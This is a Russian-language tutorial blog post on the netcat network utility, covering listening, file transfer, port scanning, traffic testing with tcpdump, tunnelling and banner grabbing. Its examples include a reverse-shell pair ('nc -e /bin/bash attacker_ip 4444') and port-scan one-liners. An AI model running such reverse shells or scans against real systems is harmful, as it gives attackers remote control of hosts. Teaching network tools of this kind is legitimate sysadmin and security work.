Logo
  • ГЛАВНАЯ
  • ОБО МНЕ
  • СЕРТИФИКАТЫ
nocip.ssh@mail.ru
Главная  >  Поиск и устранения неполадок

Утилита netcat


Создана 28.11.2025
Отредактирована 04.12.2025
Утилита netcat (часто называемая "швейцарский армейский нож" для сетей) — это универсальный инструмент для чтения и записи данных через сетевые соединения using TCP/IP. Она используется для широкого спектра сетевых операций.

Основные возможности netcat:

1. Прослушивание портов (серверный режим)

# Создать сервер на порту 9999 nc -l -p 9999 # С сервером на конкретном интерфейсе nc -l -p 9999 -s 192.168.1.100

2. Подключение к портам (клиентский режим)

# Подключиться к серверу nc example.com 80 nc 192.168.1.100 9999

3. Передача файлов

# На принимающей стороне nc -l -p 9999 > received_file.txt # На отправляющей стороне nc 192.168.1.100 9999 < file_to_send.txt

4. Порт сканирование

# Сканирование диапазона портов nc -z example.com 20-80 # Быстрое сканирование common портов nc -z example.com 22 80 443 21 25

5. Тестирование
Тест №1
Сгенерируем трафик на узле  A, и передадим его на узел B (на узле B воспользуйтесь сетевым анализатором, например tcpdump) на 80 порт

# На узле B, запустите сетевой анализатор tcpdump, и сразу запишите данные в файл capture, для дальнейшего анализа sudo tcpdump -i any port 80 -nn > capture

На узле A сгенерируйте трафик, IP-адрес 192.168.0.246 на узле A nc 10.10.1.115 80

Проанализуруйте трафик, используя команду cat, для просмотра файла capture

cat capture 11:45:27.840261 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [S], seq 435846430, win 64240, options [mss 1460,sackOK,TS val 3935163726 ecr 0,nop,wscale 7], length 0 11:45:27.840310 eth0 Out IP 10.10.1.115.80 > 192.168.0.246.46132: Flags [S.], seq 3445525547, ack 435846431, win 65160, options [mss 1460,sackOK,TS val 3678441990 ecr 3935163726,nop,wscale 7], length 0 11:45:27.843709 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 3935163729 ecr 3678441990], length 0 11:45:33.570723 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [F.], seq 1, ack 1, win 502, options [nop,nop,TS val 3935169456 ecr 3678441990], length 0 11:45:33.570820 eth0 Out IP 10.10.1.115.80 > 192.168.0.246.46132: Flags [F.], seq 1, ack 2, win 510, options [nop,nop,TS val 3678447720 ecr 3935169456], length 0 11:45:33.574269 eth0 In IP 192.168.0.246.46132 > 10.10.1.115.80: Flags [.], ack 2, win 502, options [nop,nop,TS val 3935169460 ecr 3678447720], length 0

С TCP-флагами в tcpdump можно ознакомиться здесь.
Тест №2
Попытается установить соединение с указанными IP-адресом и портом (443). Проверить, что порт 443 открыт.

nc -zv 10.10.1.115 443

Возможные ответы от сервера:
  • nc: connect to 10.10.1.115 port 443 (tcp) failed: Connection refused (В соединении отказано!)
  • Connection to 10.10.1.115 443 port [tcp/*] succeeded! (Порт доступен!)

Практические примеры использования netcat:

1. Тестирование сетевых служб

# Проверить доступность веб-сервера echo "GET /" | nc example.com 80 # Проверить SMTP сервер nc mail.example.com 25

2. Создание чата

# На сервере nc -l -p 9999 # На клиенте nc server_ip 9999

3. Прокси и перенаправление трафика

# Прослушивать порт и перенаправлять на другой сервер nc -l -p 8080 -c "nc example.com 80"

4. Обратная оболочка (reverse shell)

# На атакующей машине (прослушивание) nc -l -p 4444 # На целевой машине (отправка оболочки) nc -e /bin/bash attacker_ip 4444

5. HTTP-запросы

# Ручная отправка HTTP-запроса nc example.com 80 GET / HTTP/1.1 Host: example.com # Или в одну строку echo -e "GET / HTTP/1.1\nHost: example.com\n" | nc example.com 80

6. Проверка UDP-сервисов

# UDP сервер nc -u -l -p 9999 # UDP клиент nc -u server_ip 9999

Ключевые параметры netcat:

  • -l - режим прослушивания (сервер);
  • -p <port> - указать порт;
  • -z - режим сканирования (без отправки данных);
  • -v - подробный вывод;
  • -vv - очень подробный вывод;
  • -u - использовать UDP вместо TCP;
  • -w <timeout> - таймаут соединения;
  • -e <program> - выполнить программу после соединения;
  • -s <ip> - указать исходный IP;
  • -n - не использовать DNS.

Расширенные возможности netcat:

1. Мониторинг портов

# Постоянно слушать порт while true; do nc -l -p 9999; done

2. Туннелирование

# Создать туннель между двумя портами nc -l -p 9999 | nc example.com 80

3. Баннер-граббинг

# Получить баннер службы nc -v example.com 22 nc -v example.com 80

Примеры использования в скриптах:
Проверка доступности порта:

if nc -z example.com 80 2>/dev/null; then echo "Порт 80 открыт" else echo "Порт 80 закрыт" fi

Автоматизированное тестирование:

#!/bin/bash for port in 22 80 443 3306; do nc -z localhost $port && echo "Порт $port: ОТКРЫТ" || echo "Порт $port: ЗАКРЫТ" done

Области применения netcat:

  • Сетевая диагностика и отладка;
  • Тестирование фаерволов и правил;
  • Передача файлов между системами;
  • Портное сканирование;
  • Создание прототипов сетевых служб;
  • Автоматизация сетевых задач;
  • Пентестинг и безопасность.
Варианты netcat:
  • nc - традиционная версия;
  • ncat - улучшенная версия от Nmap;
  • netcat-openbsd - версия из OpenBSD;
  • socat - более продвинутая альтернатива.
netcat — незаменимый инструмент для системных администраторов, сетевых инженеров и специалистов по безопасности благодаря своей универсальности и простоте использования.

🔁

Приветствуем всех любителей ретро-игровой индустрии на канале RetraR
Сувенирная и брендированная продукция с персонажами из любимых игр.
RetraR — Компьютерные игры для Nintendo Game Boy
RetraR - Computer games for Nintendo Game Boy 🌌🛸👽👾☄️🤖
RetraR - 任天堂ゲームボーイ用コンピュータゲーム 🎮🕹️👾

RetraR в VK
Канал - RetraR в Telegram

Оформить заказ

Нажимая на кнопку, вы даете согласие на обработку персональных данных

Спасибо за заказ

Ваш заказ принят в обработку. 

Мы свяжемся с вами в ближайшее время.